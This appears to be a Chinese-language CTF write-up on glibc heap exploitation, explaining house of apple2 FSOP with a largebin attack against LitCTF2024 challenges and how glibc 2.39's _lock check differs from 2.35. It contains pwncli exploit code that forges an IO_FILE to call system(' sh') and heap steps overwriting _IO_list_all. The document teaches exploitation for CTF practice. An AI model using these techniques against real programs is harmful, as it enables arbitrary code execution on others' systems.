前言

最近学了一下IO攻击相关的知识,于是就拿litCTF2024的题目来实验。

使用了largebin attack+house of apple2 攻击2.35的题目没有出现什么问题,但是在2.39的时候出现了问题,于是研究了一下两个libc的汇编代码(题目给的),发现2.39和2.35关于house of apple2还是有一点点微不足道的区别的

IO结构体

struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
struct _IO_FILE_complete_plus
{
struct _IO_FILE_complete file;
const struct _IO_jump_t *vtable;
};
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};

以上来源于glibc-2.35源码

查看源码的网站:

https://elixir.bootlin.com/glibc/

amd64:
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

house of apple2

首先是fsop调用链

  • exit
    • fcloseall
      • _IO_cleanup
        • _IO_flush_all_lockp
          • _IO_OVERFLOW

而在239版本中IO_flush_all_lockp改名成IO_flush_all函数,内容基本没变。

其中在_IO_flush_all_lockp到 _IO_OVERFLOW之间的源代码为:

int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

尤其注意

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

要调用到 _IO_OVERFLOW函数,我们可以设置 fp->_mode = 0 fp->_IO_write_ptr=1

在house of apple2中,将vtable劫持成_IO_wfile_jumps ,那么_IO_OVERFLOW就会变成_ IO_wfile_overflow

之后的调用链为

_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

这中间也需要绕过各种限制,具体如下:(摘抄自作者博客)

https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/

  • _flags 设置为 ~(2 | 0x8 | 0x800),如果不需要控制 rdi,设置为 0 即可;如果需要获得 shell,可设置为 sh;,注意前面有两个空格
  • vtable 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址(加减偏移),使其能成功调用_IO_wfile_overflow 即可
  • _wide_data 设置为可控堆地址 A,即满足 *(fp + 0xa0) = A
  • _wide_data->_IO_write_base 设置为 0,即满足 *(A + 0x18) = 0
  • _wide_data->_IO_buf_base 设置为 0,即满足 *(A + 0x30) = 0
  • _wide_data->_wide_vtable 设置为可控堆地址 B,即满足 *(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP,即满足 *(B + 0x68) = C

具体代码设置可以是下面这个样子:

from pwncli import *
f=IO_FILE_plus_struct()
_IO_wfile_jumps=libc.symbols["_IO_wfile_jumps"]+libc_base
f.vtable=_IO_wfile_jumps
f._mode=0
f._flags=b' sh\x00\x00\x00\x00'
f._wide_data=heap_5 #其中heap_5即为将要覆盖成IO结构体的堆块,也就是把f._wide_data与f相同
f._IO_read_base=0 #0x18
f._IO_write_end=0 #0x30
f._IO_write_ptr=1
f._lock=io_list_all
wide_vtable_addr=(heap_5+0xd8+8+8)-0x68
print(bytes(f))
f+=p64(wide_vtable_addr)
system_addr=libc_base+libc.sym["system"]
f+=p64(system_addr)
#flag=b' sh\x00\x00\x00\x00'

```f.vtable=_IO_wfile_jumps``` ``` f._flags=b' sh\x00\x00\x00\x00'```不必多说

``` python
f._wide_data=heap_5
f._IO_read_base=0 # f+0x18
f._IO_write_end=0 # f+0x30

这里的修改不是因为这个字段本身要做什么修改,而是因为我们把 _wide_data也设置成了当前堆块,那么就需要满足

_wide_data->_IO_write_base 设置为 0

_wide_data->_IO_buf_base 设置为 0 这两个条件,刚好 _IO_read_base和_IO_write_end没有限制,因此这样设置


```python
wide_vtable_addr=(heap_5+0xd8+8+8)-0x68

f+=p64(wide_vtable_addr)
system_addr=libc_base+libc.sym["system"]
f+=p64(system_addr)

首先看后面三句,我们把f结构体后面又新增了两个内容,那么wide_vtable_addr的设置也就可以理解了,heap_5+0xd8+8+8正好是system的地址(heap+0xd8是vtable字段,再+8是wide_vtable_addr,再+8j就是system的字段),那么-0x68就是因为_wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP,即满足 *(B + 0x68) = C

那么上面的代码就可以实现 house of apple2。

在glibc2.35-2.39之间的house of apple2的细小区别

https://www.nssctf.cn/note/set/11632

这是我写的一篇题解。

glibc2.35(GLIBC 2.35-0ubuntu3.7)的libc汇编代码中,在_IO_flush_all_lockp是下面这个样子

if ( a1 && (v8->_flags & 0x8000) == 0 )
{
v14 = __readfsqword(0x10u);
lock = v8->_lock;
if ( *(lock + 1) != v14 )
{
if ( _InterlockedCompareExchange(lock, 1, 0) )
_lll_lock_wait_private(lock, v14, 1LL, v3, v4, v5);
lock = v8->_lock;
*(lock + 1) = v14;
}
++*(lock + 1);
}

在glibc2.35中,fcloseall调用这个函数的时候第一个参数正好是0,也就说a1==0,那么这个分支就走不到了,后面lock=v8->_lock *(lock+1) 也就用不到了,因此在glibc2.35版本中,_lock字段设置不设置都可以,反正都会绕过。

而在glibc2.39(Ubuntu GLIBC 2.39-0ubuntu8.1)中,_IO_flush_all变成了这个样子

if ( (v1->_flags & 0x8000) == 0 )
{
v6 = v1->_lock;
v7 = __readfsqword(0x10u);
v8 = v6[1];
if ( _libc_single_threaded && !v8 )
{
*v6 = 1;
v6[1] = v7;
}
else if ( v7 == v8 )
{
++*(v6 + 1);
}

可以看到,a1没有了,而且因为我们的设置v1->_flags & 0x8000==0 ,因此会使用v1->_lock,也因此这个字段我们必须要进行设置,经过分析(实际是因为stderr中这个字段是这样子的,并没有进行详细分析),只需要找到一个地址a,当*(a+8)==0时即可,这样的地址非常好找,比如_IO_list_all这个地址即可。

关于调试

我在调试IO题时,发现没有办法以IO结构体形式打印信息,这样就不容易知道我写的是否有错,因此学习了一下如何加载符号表

https://www.cnblogs.com/9man/p/17741818.html

命令:

loadfolder /ctf/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/.debug/.build-id

可以在gdb.attach的地方写

gdb.attach(p,'b* $rebase(0x17f7)\nloadfolder /ctf/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/.debug/.build-id\nc')

之后

p *(struct _IO_FILE*)_IO_list_all

关于largnbin attack

largebin attack适用于向一个地址写入堆地址,比如改写 _IO_list_all这个全局变量

具体流程

io_list_all=libc_base+libc.sym["_IO_list_all"]
target=io_list_all-0x20
create(3,0x450)
create(4,0x28) # 分割堆块
create(5,0x440)
create(6,0x20) # 分割堆块
delete(3) # 3号块进unsortedbin
create(7,0x460) # 3好块进largebin
large_bin=libc_base+0x21b0e0
edit(3,pp64(large_bin,large_bin,heap_base+0x290,target)) #修改3号块的bk_nextsize指针为io_list_all-0x20
delete(5) # _IO_list_all -> 5号块地址 #5号块进unsortedbin
create(8,0x460) #5号块进largebin 因为5号块比3号块小,触发largebin attack 向io_list_all写入5号块地址

要求就是第二个进入largebin 的堆块要比第一个小,但不能小太多,两个堆块要在同一个largebin里面

还要注意的是,4号块要分配0x28,因为经过largebin attack之后,5号块的prev_size字段就是 _flags字段, size字段就是 _IO_read_ptr字段,而 _flags非常重要,只编辑5号块是没办法修改这个字段的,因此要编辑4号块的最末尾从而编辑这个字段。

后续

自己的两篇题解

https://www.nssctf.cn/note/set/11632

https://www.nssctf.cn/note/set/11600

查看源码的网站:

https://elixir.bootlin.com/glibc/

house of apple2作者博客

https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/

在学习 IO 攻击之前,先接触了 pwnking 提到的利用 environ 泄露栈地址并结合 ROP 的方法。当时觉得这种方式确实直观易懂,而且相对容易执行。然而,在深入学习 IO 攻击后,我发现它在很多情况下更加高效,甚至可以直接套公式来使用。实际做题时,environ 泄露 + ROP 的方法往往需要频繁进行任意地址堆块申请,操作较为繁琐,而 IO 攻击在某些场景下则显得更加简洁方便。